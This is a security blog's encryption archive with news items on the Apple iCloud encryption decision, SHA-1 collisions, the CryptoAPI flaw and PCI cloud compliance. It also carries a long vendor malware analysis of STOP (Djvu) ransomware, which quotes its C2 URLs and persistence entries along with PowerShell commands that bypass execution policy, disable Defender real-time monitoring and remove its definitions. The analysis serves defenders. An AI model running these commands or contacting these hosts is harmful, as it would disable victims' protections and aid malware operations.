Category Archives: Encryption

LoRaWAN Encryption Keys Easy to Crack, Jeopardizing Security of IoT Networks

New research from IOActive has found that “blindly” trusting the encryption of the widely adopted device protocol can lead to DDoS, sending of false data and other cyber attacks.

Ako Ransomware targeting businesses using RaaS

Ako Ransomware targeting businesses using RaaS Quick Heal security researchers recently observed ransomware that uses RaaS (Ransomware as a Service) which is a subpart of MaaS (Malware as a Service). Before delving into the AKO ransomware or RaaS, one must understand what Malware as a Service means, as it is…

Apple Abandoned Plans for Encrypted iCloud Backup after FBI Complained

This is new from Reuters:

More than two years ago, Apple told the FBI that it planned to offer users end-to-end encryption when storing their phone data on iCloud, according to one current and three former FBI officials and one current and one former Apple employee.

Under that plan, primarily designed to thwart hackers, Apple would no longer have a key to unlock the encrypted data, meaning it would not be able to turn material over to authorities in a readable form even under court order.

In private talks with Apple soon after, representatives of the FBI's cyber crime agents and its operational technology division objected to the plan, arguing it would deny them the most effective means for gaining evidence against iPhone-using suspects, the government sources said.

When Apple spoke privately to the FBI about its work on phone security the following year, the end-to-end encryption plan had been dropped, according to the six sources. Reuters could not determine why exactly Apple dropped the plan.

Did Apple drop end-to-end encrypted iCloud backups because of the FBI?

Two years ago, Apple abandoned its plan to encrypt iPhone backups in the iCloud in such a way that makes it impossible for it (or law enforcement) to decrypt the contents, a Reuters report claimed on Tuesday. Based on information received by multiple unnamed FBI and Apple sources, the report says that the decision was made after Apple shared its plan for end-to-end encrypted iCloud backups with the FBI and the FBI objected to it. … More

The post Did Apple drop end-to-end encrypted iCloud backups because of the FBI? appeared first on Help Net Security.

First Node.js-based Ransomware : Nodera

Recently while threat hunting, Quick Heal Security Labs came across an unusual Node.js framework based Nodera ransomware. The use of Node.js framework is not seen commonly across malware families. Latest development by threat actors reveal a nasty and one-of-its-kind ransomware being created; one that uses Node.js framework, which enables it to infect Windows…

New report says Windows’ EFS encryption could be leveraged by ransomware

Infosec teams are being warned about a vulnerability in Windows’ file encryption capability which may mean temporarily abandoning the EFS encryption functionality

Windows has long offered the EFS file and folder capability in the Pro, Professional, Business, Ultimate, Enterprise and Education editions of the operating system. Organizations may find this built-in functionality useful for protecting certain data, although an enterprise-toughened encryption solution may be required for large corporations.

But in a blog this morning, SafeBreach Labs reported a proof-of-concept attack that would in effect turn EPS on itself, using the built-in encryption as a ransomware weapon to encrypt an entire disk.

This “EFS ransomware” type of attack was tested with Windows 10 64-bit versions 1803, 1809 and 1903, the blog says, but should also work on Windows 32-bit operating systems, and on earlier versions of Windows as far back as Vista.

Related: Ransomware now stealing data

To a threat actor, this type of attack has the advantage of encrypting files deep in the kernel at the NTFS driver level, and the modification wouldn’t be noticed by file-system filter drivers. It also doesn’t require administrator rights or human interaction.

On the other hand when files and/or folders are encrypted, a small yellow padlock icon is displayed at the top right corner of the file/folder main icon, which might tip off a user of something suspicious. And if a Data Recovery Agent is defined for the machine (this is not the default for standalone/workgroup machines, but it is the default for domain-joined machines), then recovery is trivial using the Data Recovery Agent.

What worried SafeBreach is that a test of several anti-ransomware solutions — including Windows 10 Controlled Folder Access — failed to catch the attack SafeBreach had crafted. Last fall it quietly contacted a number of security providers such as Avast, ESET Kaspersky and others. Many of them have since updated their software to detect such an attack or are about to issue updates.

SafeBreach said Microsoft told it last October that it considers Controlled Folder Access a defence-in-depth feature. “We assessed this submittal (by SafeBreach) to be a moderate class defence-in-depth issue, which does not meet the Microsoft Security Servicing Criteria for Windows. Microsoft may consider addressing this in a future product.”

Still, some organizations may want to stop using or turn off EFS until they are sure detection of this kind of attack is assured, or they may want to find another encryption solution.

STOP (Djvu) Ransomware: Ransom For Your Shady Habits!

Estimated reading time: 9 minutes

With almost 200 extensions, STOP (djvu) ransomware can be said to be 2019’s most active and widespread ransomware. Although this ransomware was active a year before, it started its campaign aggressively in early 2019. To evade detection, it has been continuously changing its extensions and payloads. For earlier infections, data recovery was easier if the key was not online CnC generated. Once payload was received, decryption was easier as it used non-symmetric encryption algorithms and for offline systems, it used the same set of keys. There has been a change in its encryption strategy from mid-2019, which made the decryption of infected files difficult. By observing continuous improvement in infection vectors and payloads, one can consider STOP actors to be one of the most active malware authors of 2019.

Here, we will discuss in detail about its behavior and updated file encryption technique. We will also go through its parallel activities of downloading other malware and their behavior. The statistics would elaborate its prominence in the last few months.

Infection Vectors:

According to our telemetry, this ransomware is seen spreading through cracked applications, keygens, activators, fake application setup and fake windows updates. While taking a look at the infection vectors and the ransom demanded, we can say that these actors believed in quantity instead of quality like Ryuk did. According to our observations, cracked files or fake activators for different software like Tally, Autocad, Adobe Photoshop, Internet Download Manager, Microsoft Office, Opera browser, VMware Workstation, Quick Heal Total Security, etc. were seen spreading this ransomware.

Payload Behaviour:

Fig. 1: ProcessMap

The main payload of STOP (djvu) has lots of anti-emulation and anti-debugging techniques implemented by its common wrapper, which is believed to be used for most of the payloads. Few of the ransomware are seen avoiding encryption for a particular set of countries, depending on the region of their origin and strength of victims to pay the ransom. For that, we have observed the use of keyboard layouts to identify the country of the victim system. Here, STOP authors did not rely on legacy techniques as there might be a chance of error. The payload checks for the location of the system by visiting “https[:]//” where in response we get information about the location and timezone of the system.

In response to this request, details of location including longitude, latitude, timezone along with country and city are received.

Fig. 2: IP Response

The retrieved country code is compared with a few other country codes. If it matches with any of the listed country codes, the payload does not execute further. The image below shows the country code comparison before encryption.

Fig. 3: Country Code Comparison

Once it confirms that the victim is not from one of the enlisted countries, it creates a folder with UUID or GUID used as its name at directory “%AppData%\Local\”. After that, payload creates self-copy at this location and access controls of this file are changed using ‘icals’ by the following command:

“icacls \”%AppData%\\Local\\{UuId}\” /deny *S-1-1-0:(OI)(CI)(DE,DC)”

Where OI: Object Inherit, CI: Container Inherit, DE: Delete, DC: Delete Child

Again after this, payload runs itself from its original location by elevating access rights as admin using

<Directory Path>\ewrewexcf.exe –Admin IsNotAutoStart IsNotTask 

Further, it terminates the parent process. Parameters confirm that the process is neither initiated by autostart programs nor it is a scheduled task and is running as admin. This newly executed process creates a task scheduler entry using TaskSchedulerCOM at:

C:\Windows\System32\Tasks\Time Trigger Task

Fig. 4: Time Trigger Task

Then it retrieves the MAC address of the system using GetAdaptersInfo(). An MD5 hash of this MAC address is then calculated using Windows Crypto APIs and is then used to uniquely identify the system. A request is sent to malicious CnC using this MD5 hash, which gets RSA-2048 public key and system encryption identifier i.e. personal ID as a response.

Request format:

http://ring2[.]ug/As73yhsyU34578hxxx/SDf565g/get.php?pid={Mac Address_MD5}&first=true

This response is stored in %AppData%\Local\bowsakkdestx.txt. This key is further used in file encryption, which we will discuss later. Also, the ID received along with the public key is stored in C:\SystemID\PersonalID.txt for future reference.

While receiving personal ID and public key, the ransomware payload also downloads a couple of other malware from the CnC server. It consists of infamous info-stealer i.e. Vidar and a trojan payload which is similar to previously seen Vilsel.

Fig. 5: File Download Requests

In Fig.5, ‘5.exe’ was downloaded and it is one of the Vidar payloads, while ‘updatewin1.exe’ was Vilsel. The lateral activity of these components will be discussed later.

For persistence, along with time trigger task, it also creates one RUN registry entry:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run “SysHelper” = “%AppData%\Local\{UuId}\34efcdsax.exe” –AutoStart

It drops ransom note to the directories it has enumerated. Before start of encryption process, a mutex {1D6FC66E – D1F3 – 422C – 8A53 – C0BBCF3D900D} is created. This mutex is common throughout STOP-Djvu campaign.

It particularly checks for the presence of file I:\5d2860c89d774.jpg and if present, it encrypts this file.

File Encryption:

File encryption involves 2 types:

  • Encryption with Online Key
  • Encryption with Offline Key

In the first scenario, payload tries to establish a connection with CnC by sending a request for server-generated public key and ID using the associated MD5 hash of the system’s MAC address. The response is saved in bowsakkdestx.txt. For encryption, this key is used in the future.

In the latter type of encryption, if STOP ransomware is not able to get a response from the CnC, it checks for the existence of bowsakkdestx.txt at ‘%AppData%/Local’ directory. If the file found, it checks for the ‘Public Key’ keyword in the file. If the file does not contain a public key, payload deletes the file and again checks for the CnC response. On the other hand, if the file is not present then it uses public key and ID which are already present in the file. Most of the strings in the payload are present in encrypted form i.e. XORed with byte key 0x80. The recent payloads of stop have an offline ID which is appended by its extension name and “t1”.

ex: Z4aT0c1B4eHWZwaTg43eRzyM1gl3ZaaNVHrecot1

Few file types and directories are skipped from the encryption process based on path and file extensions.

Extensions excluded:

.sys .ini .dll .blf .bat .lnk .regtrans-ms

Along with above extensions, the extension used by payload to indicate encryption is also avoided.

Files Excluded:

ntuser.dat  ntuser.dat.LOG1  ntuser.dat.LOG2  ntuser.pol  _readme.txt

Folders in Windows directory and browser folders in the Program Files directory are excluded from encryption.

Before encryption, it also checks for file encryption marker i.e. “{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}” which is at the end of the file followed by encryption ID.

While encrypting a file, it keeps the first 5 bytes of the file as it is. The rest of the file data is encrypted with the Salsa20 algorithm. For the file data encryption, UUID is created and is used as a key for the Salsa20 algorithm. In this way, each file uses a new UUID and the unique key is used for encryption of each file. Given below is an example of one Salsa20 key.

Fig. 6: Salsa20 Key

After encryption of file data, the UUID used as Salsa20 key is also encrypted with the RSA-2048 public key which was received from the CnC server. In the case of offline encryption, this key is retrieved from the payload itself. The encrypted UUID is appended after encrypted file data. The personal ID which was again received from the server with RSA-2048 public key is appended to encrypted UUID. If files are encrypted offline, then this personal ID is also retrieved from file and is common for all offline infected victims. At the end of the file, encryption marker ‘{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}’ is written.

Fig. 7: File Encryption Structure


Lateral Activity:

     1. Vidar (5.exe)

Vidar is a known info-stealer trojan, which collects sensitive information from your system and then delivers it to its CnC. The information it may steal includes:

  • Browser Login Data, History, Cookies
  • Browser Cache
  • System Information
  • Messaging/Email software data
  • Two-factor authentication software data

It checks for the presence of various browsers and software including two-factor authentication tools.

Fig. 8: Vidar File Access

It stores stolen data in a randomly named folder in the ProgramData directory. In this directory, few ‘.zip’ files are created which contain files like information.txt which has details of user and machine, running processes and software installed in the system. The retrieved passwords/credentials from browsers and other software are stored in passwords.txt. The rest of the information is stored in directories/files with respective software names.

Fig. 9: Vidar File Write

There is one file additional named ID which contains data in the form of SQL database having tables like logins, meta, stats, sync_entities_metadata and sync_model_metadata. These tables mainly have browser-related data of the user. All of these data are then sent to CnC of Vidar which is hxxp://crarepo[.]com/ in this case. Changes in the CnC servers are observed over the period.

Fig. 10: Vidar HttpSendRequestA

     2. Updatewin1.exe:

This component is mainly used to hide ransomware’s existence or evade detection based on the behavior of malware. It shows similarity with the Vilsel Trojan family.

First of all, it executes itself with elevated privileges. This process with elevated privileges executes PowerShell with the following command line, to change execution policy from default restricted to RemoteSigned, which results in the execution of local policies without any digital signature.

powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned

Fig. 11: Updatewin RegSetValue

The updatewin1.exe then drops script.ps1 having command ‘Set-MpPreference -DisableRealtimeMonitoring $true’ at %temp% location. A new PowerShell instance is initiated with parameters:

 -NoProfile -ExecutionPolicy Bypass -Command “& {Start-Process PowerShell -ArgumentList ‘-NoProfile -ExecutionPolicy Bypass -File %AppData%\Local\script.ps1″”‘ -Verb RunAs.

This runs PowerShell with admin privileges and bypasses all execution policies for the current instance of PowerShell. This executes script.ps1 resulting in disabling of Windows Realtime Protection. It also removes downloaded updates/signatures of windows defender using the command:

mpcmdrun.exe -removedefinitions -all

The task manager is also disabled by changing the registry and then updatewin1.exe deletes itself using a batch file.

     3. Updatewin.exe:

This component has no suspicious or malicious activity. It just displays windows update prompt so that any of the suspicious activities will be considered as windows update changes. There is no minimize or close option to this window, one has to kill the process to get rid of it.

Fig. 12: Fake Update Window


Ransom note:

Fig. 13: _readme.txt Ransom note

Over the campaign, the STOP ransom note has remained the same with few small changes. It asks for $980 of ransom and gives a 50% discount if payment is done within 3 days. The conversation with victims is carried over the mail. Ransom note contains the Personal Id of the user which is also stored in C:\SystemID\PersonalID.txt.


Fig. 14: Statistics

From the introduction of the new RSA 2048 variant, we have seen a noticeable increase in infections. As the chart above states, there was a gradual increase from August till November with hits crossing 120,000 mark. However, there’s been a decrease in hits in December, which seems to have continued in the month of January.


From the start of the STOP-djvu campaign, stop authors have focused on changing payloads and extensions within short intervals, making their presence among ransomware strong and sound. Initially, authors believed in symmetric cryptography, hoping for ransom from most of the cases with newer payloads and unique keys for each variant. The free decryptors for offline infections forced them to shift to asymmetric cryptography, which made the decryption of new infections harder. Also, propagating through multiple crack software, activators, keygen software and fake software/OS upgrades, has been an effective way of spreading for this ransomware.



















The post STOP (Djvu) Ransomware: Ransom For Your Shady Habits! appeared first on Seqrite Blog.

Critical Windows Vulnerability Discovered by NSA

Yesterday's Microsoft Windows patches included a fix for a critical vulnerability in the system's crypto library.

A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates.

An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear the file was from a trusted, legitimate source. The user would have no way of knowing the file was malicious, because the digital signature would appear to be from a trusted provider.

A successful exploit could also allow the attacker to conduct man-in-the-middle attacks and decrypt confidential information on user connections to the affected software.

That's really bad, and you should all patch your system right now, before you finish reading this blog post.

This is a zero-day vulnerability, meaning that it was not detected in the wild before the patch was released. It was discovered by security researchers. Interestingly, it was discovered by NSA security researchers, and the NSA security advisory gives a lot more information about it than the Microsoft advisory does.

Exploitation of the vulnerability allows attackers to defeat trusted network connections and deliver executable code while appearing as legitimately trusted entities. Examples where validation of trust may be impacted include:

  • HTTPS connections
  • Signed files and emails
  • Signed executable code launched as user-mode processes

The vulnerability places Windows endpoints at risk to a broad range of exploitation vectors. NSA assesses the vulnerability to be severe and that sophisticated cyber actors will understand the underlying flaw very quickly and, if exploited, would render the previously mentioned platforms as fundamentally vulnerable.The consequences of not patching the vulnerability are severe and widespread. Remote exploitation tools will likely be made quickly and widely available.Rapid adoption of the patch is the only known mitigation at this time and should be the primary focus for all network owners.

Early yesterday morning, NSA's Cybersecurity Directorate head Anne Neuberger hosted a media call where she talked about the vulnerability and -- to my shock -- took questions from the attendees. According to her, the NSA discovered this vulnerability as part of its security research. (If it found it in some other nation's cyberweapons stash -- my personal favorite theory -- she declined to say.) She did not answer when asked how long ago the NSA discovered the vulnerability. She said that this is not the first time the NSA sent Microsoft a vulnerability to fix, but it was the first time it has publicly taken credit for the discovery. The reason is that the NSA is trying to rebuild trust with the security community, and this disclosure is a result of its new initiative to share findings more quickly and more often.

Barring any other information, I would take the NSA at its word here. So, good for it.

And -- seriously -- patch your systems now: Windows 10 and Windows Server 2016/2019. Assume that this vulnerability has already been weaponized, probably by criminals and certainly by major governments. Even assume that the NSA is using this vulnerability -- why wouldn't it?

Ars Technica article. Wired article. CERT advisory.

EDITED TO ADD: Washington Post article.

EDITED TO ADD (1/16): The attack was demonstrated in less than 24 hours.

Brian Krebs blog post.

New SHA-1 Attack

There's a new, practical, collision attack against SHA-1:

In this paper, we report the first practical implementation of this attack, and its impact on real-world security with a PGP/GnuPG impersonation attack. We managed to significantly reduce the complexity of collisions attack against SHA-1: on an Nvidia GTX 970, identical-prefix collisions can now be computed with a complexity of 261.2rather than264.7, and chosen-prefix collisions with a complexity of263.4rather than267.1. When renting cheap GPUs, this translates to a cost of 11k US$ for a collision,and 45k US$ for a chosen-prefix collision, within the means of academic researchers.Our actual attack required two months of computations using 900 Nvidia GTX 1060GPUs (we paid 75k US$ because GPU prices were higher, and we wasted some time preparing the attack).

It has practical applications:

We chose the PGP/GnuPG Web of Trust as demonstration of our chosen-prefix collision attack against SHA-1. The Web of Trust is a trust model used for PGP that relies on users signing each other's identity certificate, instead of using a central PKI. For compatibility reasons the legacy branch of GnuPG (version 1.4) still uses SHA-1 by default for identity certification.

Using our SHA-1 chosen-prefix collision, we have created two PGP keys with different UserIDs and colliding certificates: key B is a legitimate key for Bob (to be signed by the Web of Trust), but the signature can be transferred to key A which is a forged key with Alice's ID. The signature will still be valid because of the collision, but Bob controls key A with the name of Alice, and signed by a third party. Therefore, he can impersonate Alice and sign any document in her name.

From a news article:

The new attack is significant. While SHA1 has been slowly phased out over the past five years, it remains far from being fully deprecated. It's still the default hash function for certifying PGP keys in the legacy 1.4 version branch of GnuPG, the open-source successor to PGP application for encrypting email and files. Those SHA1-generated signatures were accepted by the modern GnuPG branch until recently, and were only rejected after the researchers behind the new collision privately reported their results.

Git, the world's most widely used system for managing software development among multiple people, still relies on SHA1 to ensure data integrity. And many non-Web applications that rely on HTTPS encryption still accept SHA1 certificates. SHA1 is also still allowed for in-protocol signatures in the Transport Layer Security and Secure Shell protocols.

Cyber Attacks are the Norm

By Babur Nawaz Khan, Product Marketing, A10 Networks

As we 2019, its time to have a look at the year 2020 and what it would have in store for enterprises.

Since we are in the business of securing our enterprise customers’ infrastructures, we keep a close eye on how the security and encryption landscape is changing so we can help our customers to stay one step ahead.

In 2019, ransomware made a comeback, worldwide mobile operators made aggressive strides in the transformation to 5G, and GDPR achieved its first full year of implementation and the industry saw some of the largest fines ever given for massive data breaches experienced by enterprises.

2020 will no doubt continue to bring a host of the not new, like the continued rash of DDoS attacks on government entities and cloud and gaming services, to the new and emerging. Below are just a few of the trends we see coming next year.

Ransomware will increase globally through 2020
Ransomware attacks are gaining widespread popularity because they can now be launched even against smaller players. Even a small amount of data can be used to hold an entire organisation, city or even country for ransom. The trend of attacks levied against North American cities and city governments will only continue to grow.

We will see at least three new strains of ransomware types introduced:

  • Modular or multi-leveled/layered ransomware and malware attacks will become the norm as this evasion technique becomes more prevalent. Modular attacks use multiple trojans and viruses to start the attack before the actual malware or ransomware is eventually downloaded and launched 
  • 70% of all malware attacks will use encryption to evade security measures (encrypted malware attacks)
To no surprise, the cyber security skills gap will keep on widening. As a result, security teams will struggle with creating fool-proof policies and leveraging the full potential of their security investments

Slow Adoption of new Encryption Standards
Although TLS 1.3 was ratified by the Internet Engineering Taskforce in August of 2018, we won’t see widespread or mainstream adoption: less than 10% of websites worldwide will start using TLS 1.3. TLS 1.2 will remain relevant, and therefore will remain the leading TLS version in use globally since it has not been compromised yet, it supports PFS, and the industry is generally slow when it comes to adopting new standards. Conversely, Elliptical-curve cryptology (ECC) ciphers will see more than 80% adoption as older ciphers, such as RSA ciphers, are disappearing.

Decryption: It’s not a Choice Any Longer
TLS decryption will become mainstream as more attacks leverage encryption for infection and data breaches. Since decryption remains a compute-intensive process, firewall performance degradation will remain higher than 50% and most enterprises will continue to overpay for SSL decryption due to lack of skills within the security teams. To mitigate firewall performance challenges and lack of skilled staff, enterprises will have to adopt dedicated decryption solutions as a more efficient option as next-generation firewalls (NGFWs) continue to polish their on-board decryption capabilities

Cyber attacks are indeed the new normal. Each year brings new security threats, data breaches and operational challenges, ensuing that businesses, governments and consumers have to always be on their toes. 2020 won’t be any different, particularly with the transformation to 5G mobile networks and the dramatic rise in IoT, by both consumers and businesses. The potential for massive and widespread cyber threats expands exponentially.

Let’s hope that organisations, as well as security vendors, focus on better understanding the security needs of the industry, and invest in solutions and policies that would give them a better chance at defending against the ever-evolving cyber threat landscape.

A Guide to PCI Compliance in the Cloud

In an age where hosting infrastructure in a cloud environment becomes more and more attractive – whether for maintenance, price, availability, or scalability – several service providers offer different PCI-DSS (Payment Card Industry – Data Security Standard) compliant solutions for their customers’ need to deal with payment cards.

Many companies believe that when choosing a business partner already certified in PCI-DSS, no further action is required since this environment has already been evaluated. However, while a PCI-DSS compliant provider brings more security and reliability, only its certification is not enough for the contractor’s environment to be certified as well.

All certified service providers must offer their customers an array of services and responsibilities, where they clearly define what each party needs to do to achieve PCI compliance in the environment. 

With this in mind, there are some important tips to take into account, mainly focusing on the first six PCI-DSS requirements, and also some important information for cloud service providers to take into account.

Requirement 1: Install and maintain a firewall configuration to protect the cardholder data

To protect cardholder data, you must implement and configure environmental targeting in accordance with PCI network requirements. It should be analyzed with tools the service provider offers to enable the contractor to achieve compliance. Some important services to consider:

  • Network Groups: A tool that will be used to perform the logical segmentation of the cloud-hosted environment. Traditionally, communications are blocked, and rules must be created to release access between instances.
  • Private Cloud: Should be used to isolate the provider’s networks in private networks, preventing the connection and access of other networks except those duly authorized by the targeting tool created in the same private cloud. This configuration facilitates the segmentation and logical management of accesses, reducing the exposure of the environment and card data.
  • Elastic Computing: It allows the creation of an instance that is scalable, that is, after it is identified that the processing reaches a parameter pre-defined by the user, creates another instance identical to the first. This process repeats itself as there is a need for more processing power. With the reduction of processing, the instances are then deactivated.

Requirement 2: Do not use vendor-supplied defaults for system passwords and other security parameters

In the case of SaaS (Software as a Service) cloud services, the need to apply secure configuration controls rests with the provider, assuming that the service provider identifies the service as part of its environment accordingly.

Using PaaS (Platform as a Service) or IaaS (Infrastructure as a Service), when the configuration of the instance is made by the contracted company, it is very important to create the procedure of hardening to be used and to ensure that it is properly applied in the instance before creating the rules that grant access to the other environments.

Requirement 3: Protect stored data from cardholder

Secure storage of card data is one of the priorities of the standard. Natively, cloud environments do not protect data, so the company acquiring the service must identify how it can make the data secure during the process, as well as assess whether the provider provides the necessary tools.

For card data encryption, key management is another crucial point, as important encryption of the data itself. The documentation and secure management of the data encryption keys (DEK) and key-encryption key (KEK) must be done by the contractor and can use the resources offered by the providers.

Requirement 4: Encrypt the cardholder data transmission on open public networks

The implementation of secure communication channels must be planned by the contractor, either through the acquisition of a secure communication service or even through the implementation of communication certificates. Always use robust PCI-DSS-based encryption protocols, such as TLS 1.2, IPSec, SFTP, etc.

Requirement 5: Use and regularly update anti-virus software or programs

Another common mistake is to consider that the implementation of antivirus is the responsibility of the service provider, or even believe that their systems are not susceptible to malicious software.

Cloud services do not include the provision of this type of software by default in all scenarios. This means that those seeking PCI-DSS certification need to identify how to implement and define the use of an antivirus solution, ensuring its installation, management, logging, and monitoring.

Requirement 6: Develop and maintain secure systems and applications

By confirming the certified service offered by the cloud provider (Saas) in the responsibility matrix, the contracting company does not need to take any additional actions related to the management of the structure that maintains that environment.

In the case of a certified service offered by the cloud provider, the contracting company confirming this in the contractor’s responsibilities matrix does not need to take any additional actions related to the management of the structure that maintains that environment.

However, when acquiring IaaS or PaaS services, it is important to enable vulnerability identification procedures, security updates, change management, and secure development.

Speaking specifically of public-facing web applications, PCI-DSS requires the manual or automated validation of all code developed for the application. A recommended alternative is the implementation of a Web Application Firewall, which can also be used as a service acquired from the marketplace of these companies or as an application to be contracted (e.g. AWS WAF, Azure WAF, Google Virtual Web Application Firewall).

Marty Puranik co-founded Atlantic.Net from his dorm room at the University of Florida in 1994. As CEO and President of Atlantic.Net, one of the first Internet Service Providers in America, Marty grew the company from a small ISP to a large regional player in the region, while observing America’s regulatory environment limit competition and increase prices on consumers. To keep pace with a changing industry, over the years he has led Atlantic.Net through the acquisition of 16 Internet companies, tripling the company’s revenues and establishing customer relationships in more than 100 countries. Providing cutting-edge cloud hosting before the mainstream did, Atlantic.Net has expanded to seven data centers in three countries, with a fourth pending.

The post A Guide to PCI Compliance in the Cloud appeared first on Cloudbric.

Why the government isn’t a fan of commercial encryption

Federal governments and major technology firms are arguing for or against encryption, respectively. But why?

Due to recent political turmoil and devastating events overseas, the topic of end-to-end encryption has reentered public discussion. At the center of the debate, you have federal governments and major technology firms, each arguing for or against encryption.

The Encryption That Businesses Need, But CISOs Forget About

 By Joseph Steinberg  CEO, SecureMySocial JosephSteinberg


Many businesspeople put their firms’ data at risk because they fail to understand several important concepts about encryption. Simply understanding that data can be protected from unauthorized parties by encrypting it is insufficient to deliver security; in order to secure information people must know when needs to be secured, and must actually encrypt accordingly.

Should You Encrypt Data Before it Goes to the Cloud?


American cloud service providers such as Microsoft are opening local data centers in foreign countries at the request of the respective foreign governments and customers located in those countries. The thinking behind this strategy is that data located in a particular country is subject to the country’s data privacy laws, which may be different from those in effect in the United States. When your data is stored in the country where your customers are resident, it seems logical to believe cloud service providers when they say their local data centers operate according to that country’s laws. In reality, the situation is more complicated, and the location of the data in a particular country is not enough to guarantee privacy.